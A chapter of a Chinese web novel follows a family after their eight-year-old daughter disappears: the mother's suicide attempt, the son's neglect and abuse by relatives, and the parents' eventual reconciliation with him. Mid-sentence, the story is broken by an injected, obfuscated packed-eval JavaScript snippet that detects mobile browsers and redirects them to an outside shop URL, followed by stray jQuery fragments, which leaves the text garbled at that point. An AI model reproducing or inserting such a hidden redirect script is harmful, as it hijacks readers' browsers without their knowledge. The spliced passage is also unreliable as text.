赵青月比赵青阳大三岁，失踪的时候才八岁，在泽定二小读二年级。
泽定的雨季总是格外漫长格外熬人，早上赵青月穿上她的蓝色水筒鞋，由爸爸开车送她去学校。
家里忙的时候，她自己拿一块钱去公交站，坐五个站到学校，放学后再自己坐回来。
那天下午暴雨如瀑，赵立江还在外面送货，李晓群拉了卷帘门，穿着雨衣拿着雨伞准备去把孩子们一个个接回家，中途接到幼儿园打来的电话，说赵青阳和同学打架把头打破了，让她赶紧去一趟。
公交车恰好到站，她着急忙慌撤身而去。那时她不知道，她再也接不到女儿了。
在浑浑噩噩没头没脑地到处找人、报警、张贴启示后，她一无所获地坐在赵青月的房间里，抱着女儿的枕头哭了一晚又一晚。
亲朋好友她不见，赵立江和赵青阳她也不见，除了月月的消息，她什么都不想听。
那是她身上掉下来的一块肉，是她十月怀胎生下的孩子，是会教她写自己的名字的乖女儿，是她的……另一种可能和希望。
尚且年幼的赵青阳自从姐姐失踪后，便在家里越发沉默的气氛中变得谨小慎微、学会察言观色。半夜他从房间里出来喝水，枯坐在沙发上的李晓群会吝啬地瞥他一眼，似是不满有人打扰她的伤心，又像是……怨恨他的出现。
她怎么能不怨？
她怨那天过分瓢泼的大雨，怨彼时彼刻还在送货的赵立江，怨在学校和同学打架的赵青阳，怨……最怨那一刻拔腿而去的自己。
嫁出去的女儿泼出去的水，何必读什么书？她听着这样的偏颇长大，哽着一口气摔出家门，远嫁到隔壁县里的赵家……明明都出发去接青月了，为什么一通电话就能让她回去？
是不是在她心里，阳阳还是比青月重要？
如果那天她坐上那辆公交，也许这一切都不会发生，她一定是犯了错，才会被这样惩罚……
都是她的错。
在不断自证的逻辑里，李晓群怀抱着不得解脱的痛苦，在一个阳光静好的午后，躺在女儿的床上服毒自杀了。
幸运的是，那天赵青阳逃课回家，及时把她送进了医院，不幸的是，她因此失去了一只耳朵的听力，并在好一段时间里无法开口说话。
她住院的那段时间，赵青阳总是战战兢兢地跟她说话、向她保证，赵立江一个人两头跑，就算到了出院的日子，也不敢把人接回家，生怕一个看不住……
“这么过不是个办法，没得意思，”赵立江颓然坐在病床边，拍拍床边的栏杆，“我把大姐他们请过来帮到看店和阳阳，我们开车出去找，找到哪头算哪头，你不要半死不活的，快点好……”
那是一种全然未知的生活，终日奔走在不确定的道路上，受尽人们各异的眼光，承受着日复一日的期望与失望……但和心灰意冷的死比起来，实在是内容丰富，好受得多。
自杀未遂的李晓群头一次正眼看他，她下颌抖动，皱着眼咧开嘴哭了……终于有了正常人的样子。
家里送货的小货车卸掉几块固定货物的板子，夫妻俩拉起横幅，赵青月的照片被放大在上面——小女孩瘸着门牙，眉毛被齐刘海盖住，仰头对镜头比了个“耶”。
李晓群看着女儿的笑脸抹了抹眼泪，转身望向扒着门框的赵青阳。
他的头发许久没人理过，身上穿的背心不知在哪里扯了个口子。拇指钻进那道口子里越扯越大，他心惊胆战地看着家里的货车改头换面，想说什么，又死死咬着上唇不愿说。
她半蹲下去摸了摸他的头，把他长长的头发拨到一边，亲亲他的额头，凑在他耳边努力用气音说：“爸妈去找姐姐，你乖乖的……好不好？”
“你们不要我了是吗？”他终于还是说了出来，“因为姐姐丢了，你们也要把我丢掉……”
“不是……不是这个意思，”她擦擦他的眼泪，只当他童言无忌，不管他能不能听清，自言自语道：“哎，你还小，你不懂，乖乖读书，很快爸爸妈妈就回来了。”
孩子们什么都不懂，孩子只能承受。当小孩真是世界上最委屈的事情了。
父母离开以后，只有逢年过节需要应付的亲戚们来到家里，正式住了下来。
大姨和姨夫在镇上经营一家供销社勉强糊口，第二个孩子和赵青阳差不多大，还有个大女儿已经嫁出去了。夫妻俩打算再要个三胎，给家里冲冲喜。
两人早年也出去看过，算是见过点世面。这点世面不见还好，一见便化成了针尖大的心眼，专用来假模假样地贬损自己夸赞别人，在自怜自哀中达到高潮。
赵青阳不喜欢这两口子，每年回老家都要听他们尖着嗓子说长道短，好听的字眼经他们嘴里一滚，飘出来就成腥臊味。
“这衣柜是专门找人打的吧？”大姨敲敲衣柜上的玻璃，拉开衣柜摸来摸去，问她男人：“这木头用的啥子哦，摸到好舒服，哎有钱人就是不一样，真会享受。”
两人翻翻找找，把别人送的青瓷茶具拿出来，大姨父揭开盖碗磕了两下，也不知道真懂假懂：“哟，这声音脆得很，好东西好东西，你妹儿比你强，嫁得好很！”
大姨嗔他一眼，捏着瓷杯撇嘴道：“怪不得喽，我要是过上这种好日子，回家也摆张脸给你们看！”
夫妻俩你一言我一语地品评起来，和赵青阳一般大的孩子闯进赵青月的房间，在铺好的床单上蹦蹦跳跳。
赵青阳没来得及收起自己的玩具，怒不可遏地跟进去，“你给我下来！这是我姐的房间！”
男孩蹦得欢快，语调欢快：“你姐又不在了，这床还不是给我睡？”
赵青阳气得汗毛竖立，扯着床单要把他摔下来，他也不是省油的灯，避开扯拽的那头，从一边跳下床来。
“那是我姐的东西，你不准摸！”
“我摸两下怎么了，又不是你的！”
外面的夫妻俩听到动静，大喊道：“瑞瑞啊，莫惹你弟弟，我们吃的住的都是人家嘞，人家是小少爷，你不是。”
李梓瑞一听，心里更火大了，在赵青阳咬牙切齿的虎视眈眈下，当着他的面打掉了门架上的玩偶，大骂道：“狗日的！”
赵青阳扑上去和他缠斗起来，掐着他的脖子抽他耳光：“你才是狗日的！狗日的！”
大姨冲上前去把儿子拽出来，趁乱还被赵青阳抽了下手臂，“哎！你怎么能打人！”
“还打，还打！”大姨夫扯着他的领子把他拽起来，他气得疯了，攻势不减地乱扑乱打。
“你来劲了不是，爹妈不晓得管是不，啊？”
赵青阳掐着他的手臂怒瞪他：“不要你们管，滚出去！滚出我家！！！”
“你爹妈不教，我替他们教！”大姨夫左右开弓给了他两耳光，打得他耳鸣不断，声音时远时近地灌进来。
大姨把儿子拉到身后，尖尖的指甲戳在他额头上：“小青阳，你搞搞清楚，是你爹妈求我们来的，不是我们求到要来的，你爹妈不在，我们就是你爹妈，还不快给你表哥道歉？”
赵青阳擦了把眼泪使劲扯出自己的衣领，后退几步瞪着他们，不服气地“呸”了一声扭头跑下楼。
他抱起猫窝里四个月大的熙熙，逃出了空空如也的家门。
-----------------
猫比人长得快多了，要不了几个月，熙熙就已经是一只能上墙下屋的灵巧橘猫，可以和它的猫朋狗友们混迹四方了。
然而赵青阳不行，不仅年龄没长，身高也没长，还得每天回家在冷言冷语里泡一顿。
偶尔熙熙会顺着墙头回来，在门窗紧闭的玻璃上敲两下，确定它的苦命兄弟还健在。等赵青阳冲过来开窗，它便轻轻一跃，自由如风地继续流浪了。
在无人问津的处境里，他不得不学会流浪。
左邻右舍都被他蹭过饭，能留下住就住两天，等他大姨冷嘲热讽地上门找人再把他送回去。
后来他摸出了规律，身上有伤的话就能让人心软，混下来多住两天，身上没伤……那他也可以弄出一点。
中午放学那顿也可以不回家吃，他找上了和他一样不想回家的白求安，兄弟俩一起想办法凑合，还能苦中作乐。
彼时白求安还穿着校服，鼻青脸肿的时候就会从方如意身后消失，而方如意总是能找到他……连带着他身边另一个鼻青脸肿的小孩。
她坐到倒霉的哥俩对面，惆怅地给他们一人加了个荷包蛋。
那两年，他闯过桥洞游过野泳，偷过单车扒过车顶，扒车顶的时候还差点把小命交待在隧洞上……
他闯得祸越多，大姨和大姨夫挨得骂就越多，这是他力所能及的报复。他也知道，他们会把这些事添油加醋地告诉他父母，然后他父母会语气严厉地要他听话，别那么不懂事……
那两年，他住得最多的是刘兴义家。
因为刘建国是警察，大姨就算有天大的怨气，也不敢当着他的面贬损，还得被刘建国反过来教育两句……
张翠心也习惯了家里总是有人上门蹭饭，因此看到从刘兴义背后探出头来的赵青阳并不热络，也不冷淡，只叮嘱他们先洗手再吃饭。
赵青阳捧碗感受着难得的和平，指着那间小小的杂物间，问他能不能住那里，够他住了……
张翠心说那间太小了不能住人，不留余地地挡了回去。
他无所皈依地低下头，把眼泪滴进碗里。
两年时间，李晓群和赵立江不知奔波了多少地方，在每一个地方申请立案，张贴告示，寻人又问路……逢年过节给家里打电话，总听不到赵青阳的声音。
等她在外地给赵青阳买了新衣服回来，家里已经变得她认不出来了。
面容沧桑的赵立江坐在乱七八糟的门面里，显然有许多话要说，但顾及李晓群家人的关系，垂着头什么也没说。
电话一次次地打，赵青阳始终不回家，最后夫妻俩只能亲自上门，拎了点礼品去刘兴义家接人。
他扒着炉盘不愿起身，令一众大人僵在一边，刘兴义拍拍他的脑袋，他才不情不愿地回家了。
-----------------
这次回家李晓群只打算待一段时间，陪一陪阳阳，没有久待的打算。
好容易一家团聚，她才发现买回来的衣服不合身。阳阳没怎么长大。
她心下狐疑，想着男孩子长得慢，刘兴义七八岁也没多高，十岁以后才开始长个儿很正常……
全家人坐在一桌吃饭，赵青阳总跟被针扎似的，三两下吃完扔下碗就跑，像是多待一秒都会反胃。
心里的疑团越来越多，李晓群不求家里生意能有多好，也不指望她大姐能帮她做什么，看着孩子就好，让她能安心在外找孩子就好。
夜里李晓群躺在小房间的床板上，百般纠结地盯着天花板，用恢复了一些的低哑嗓音凑过去问赵立江。
赵立江本就不大说话，一番磋磨后更是沉默寡言，他阖眼听着夜猫子的叫声，好半晌只道：“我们对不起阳阳。”
手心手背都是肉，但见光的总是只有一面。当父母要有被怨恨的觉悟。
李晓群挣扎着不愿悟，不想悟。
一夜无眠，第二天收拾好家里，李晓群上街去王长霞店里买豆花。
徐铭龙把刚端出来的豆腐切成各种形状，正被他妈拎着大勺满场撵，见有客来，赶紧躲到李晓群身后，求饶着扬长而去。
李晓群看他活蹦乱跳的样子有点羡慕，不由自主道：“娃娃总是讨嫌得很，我家阳阳就跟我生分多咯，哎不讲这些，霞姐，来五块钱的豆花。”
王长霞被气得面红耳赤，奈何此消彼长，小屁孩越来越难揍到了。
“老子看他两只爪爪废得很……”她听了李晓群这话心里不免犯嘀咕，拿清水冲了冲勺子给她装豆花，“小娃儿嘛，你回来多哄哄，都是亲的还能生分到哪里去？你嗓子好点了不？”
“好点了好点了，”李晓群哑着嗓子勉强笑笑：“我在想这两天要不要给他请个假，带他出去玩一哈，买点衣服，不然等我和他爸爸出去了又见不到人……”
王长霞没想到她居然还要继续跑，一时目瞪口呆，刚想说什么就被躲在街角的徐铭龙打了岔。
“妈我错了！我中午想吃卤鸡腿——”
“吃屎你吃！”王长霞一嗓子吼回去，他便缩着脖子跑没影了。
李晓群看他们母子斗嘴，把钱塞给她道：“那我先走了哈霞姐，有空来屋头吃饭。”
王长霞手比脑快，想也不想先拽住了她。
俩女人一言不发地面面相觑，李晓群抽回手臂问她：“霞姐，你有话就讲嘛……”
王长霞想起赵青阳那副小流浪汉的样子，一咬牙一跺脚把她拉进店去。
“不管咯，你喊我声姐，阳仔喊我声嬢嬢，这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968510|214603||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话就是再难听我也要跟你这个当妈的讲……”
李晓群听得浑身发冷，她不是想不到，是不敢想有人会对一个孩子容不下眼，那个人还是她的亲姐姐……她已经尽力不亏待了。
拢共也说不了几句话，王长霞把钱和豆花塞回去：“娃儿些都还小，自己带都带不清楚，给别个带哪会有自家上心？这钱我不要了请你吃，你回去想想，把你家那些破事搞清爽点，省得我们这些嬢嬢看到也糟心。”
李晓群浑浑噩噩地走回家，提心吊胆到处打听，她希望是王长霞夸张了，小孩子长得慢很正常……然后她撞见了混在小孩儿堆里、脏话连篇的赵青阳。
王长霞没有夸张，他确实像条没妈的流浪狗。
-----------------
“买个豆花咋买这么久哇？等哈我要碰！”大姐坐在麻将桌上，斜起眼角看了她一眼。
李晓群把滑门往侧边一砸，“喊他们滚，我有话问你。”
“哪样？”大姐尖着嗓子道：“大点声哦，听逑不到，也不晓得买点药吃，你差那点钱啊？幺鸡！”
“啊！！！”
一声尖叫伴随着乒乒乓乓的声音，李晓群踹翻脚边的椅子，把豆花砸在大姐脸上，抓住她的头发往麻将桌上按：“给脸不要是不是？得块脸了是不是？！老子一分钱没少你的，你敢把我儿子当狗养！！！”
旁边人吓得大气不敢出，黏黏糊糊地作势要拉架，被她一挥手打开：“都给老子滚，哪个敢放屁老子一起打！”
她的声音冲破嗓子哑然大作，像是电视里的怪兽发出怒吼，一时除了尖叫没人敢真的上前。
赵青阳闻声进来，听到她这种声音觉得怪好笑的，看着她们嘻嘻哈哈地笑了两声，然后事不关己地从旁上楼。
李晓群心里说不出的难过，一难过下手就更狠，最后不得不惊动了派出所来劝架。
当天晚上，李晓群就让他们一家收包袱从哪儿来滚哪儿去，赵青阳在楼上打开窗户吹了声口哨，见李晓群抬头望来，他耸耸肩膀，“啪”地关上了窗。
那之后，赵青阳被勒令不得在外面吃饭，吃饭不准抖腿，不准说脏话，不准抽烟，不准不写作业，不准背后骂老师，不准搞小偷小摸……
李晓群迫切地要改掉那些她离开后的恶习，然而她越打压，赵青阳就越反抗，直到母子俩在派出所里怒目相对。
文具店的老板总算见到背后的大佛，赶紧有苦诉苦有仇报仇，“以前还只是偷，被发现了也会讲对不起，现在也不偷了，好嘛！他直接抢！生怕他个子小我们逮不到，你们是咋个养娃娃的？！”
赵立江看着儿子紧咬的腮帮，弓着腰连连道歉，向老板和警察表示会如数交足孩子闯祸的钱……
“爸妈没给你钱吗？”李晓群没弯腰，她看出了他是故意的。
他就是要他父母难堪。
赵青阳耸耸肩：“就是想抢。”
文具店老板：“哎你们这娃娃……”
“啪！”
这巴掌清脆得所有人都愣了，包括赵青阳。
“你打我？”他胸膛起伏，看着仇人那般。
李晓群指了指他们，“跟伯伯道歉，跟警察叔叔道歉，说对不起，说你以后不会犯了。”
“我不！”他梗着一口气顶嘴。
李晓群拎起手又是一巴掌，没等她打完降龙十八掌，警察赶紧挡在中间劝。
背后的小孩还不省心，尖声骂道：“日他妈你打死我！打死我我也没错！你以为你是哪个？狗日的有本事你枪毙我？！”
“小杂种我今天就打死你！”
李晓群伸手去夺警察腰间的警棍，警察大惊失色自顾不暇，众人扭打在一起又是一番鸡飞狗跳。
文具店老板这时已经排不上号了，他退到一旁，想说这钱算他自己赔的算了，不要也行……转头就看到老泪纵横无法选边站的赵立江。
“你打我嘛，打死我你们就安逸了，你们就不用回来了！”赵青阳边躲边喊，破音道——
“我死了你们就安逸了，反正你们都怪我！你们都觉得我该死！！！”
那些冷言恶语不是别人对他说的，是他撒手不管的父母派来告诉他的，他们一定恨他，恨他那天不懂事，恨他什么忙都帮不上……
他们一定恨他，才会放任他自生自灭，随地烂掉。
没有比被父母怨恨更难过的事。
退潮的时候，他躺在桥洞底下用来排淤的管道里，想着涨水之后，泥水会像冲掉霉苔那样冲掉他，然后他们会认领他的尸体，为他掉下眼泪。
后来他什么都不想了，只想随心所欲地烂掉。
孩子不是突然长大的，也不是突然烂掉的。
赵青阳挣了两下，挣不开赵立江跪在面前的怀抱，泪流满面地努力维持怒意，瞪着缓缓靠近的李晓群。
“谁说你该死了……”李晓群仿佛看到她离开前，那个抓着她衣角的孩子。
她怎么能斩钉截铁地笃定他不懂？
她苍白地辩驳：“爸妈没有怪过你……”
“你有！我看到了，你有！”他气喘吁吁地倒在赵立江怀里：“你们都恨我……”
他们失去了一个孩子，留下了一个孩子，现在这个孩子好像也不愿留下了……
到底怎么做才是对的？
李晓群抓住他的手打在脸上，“那你打回来，妈让你打回来，恨回来，妈不还手……”
“阳阳，爸妈也不懂事，你姐姐丢了，爸妈心里也很难过，”赵立江低声下气地解释：“没顾上你是爸妈不好，你好好长大，爸妈陪着你，好吗？”
只要这么一句，无论能不能做到，只要这么一句，承认他们没顾上他，而不是故意丢掉他……赵青阳日夜咀嚼的那颗苦胆就能化开。
“你再给爸妈一个机会……”李晓群紧紧抓住他的手，“再给爸妈一个机会，你好好长大，长出个人样来，你姐姐的事，谁都不怪，是我们命不好。”
“我也想姐姐，”毕竟只是个孩子，他把脸靠在赵立江肩上，蹭着父亲的颈窝，泪眼汪汪地看向她：“但我也想你们……能不能不走？”
他不能既没有姐姐，也没有父母。
李晓群亲亲他的额头，在种种煎熬里受够了一错再错。她痛定思痛，认下了命，定下了心——
“好，不走了。爸妈再也不会丢下你了。”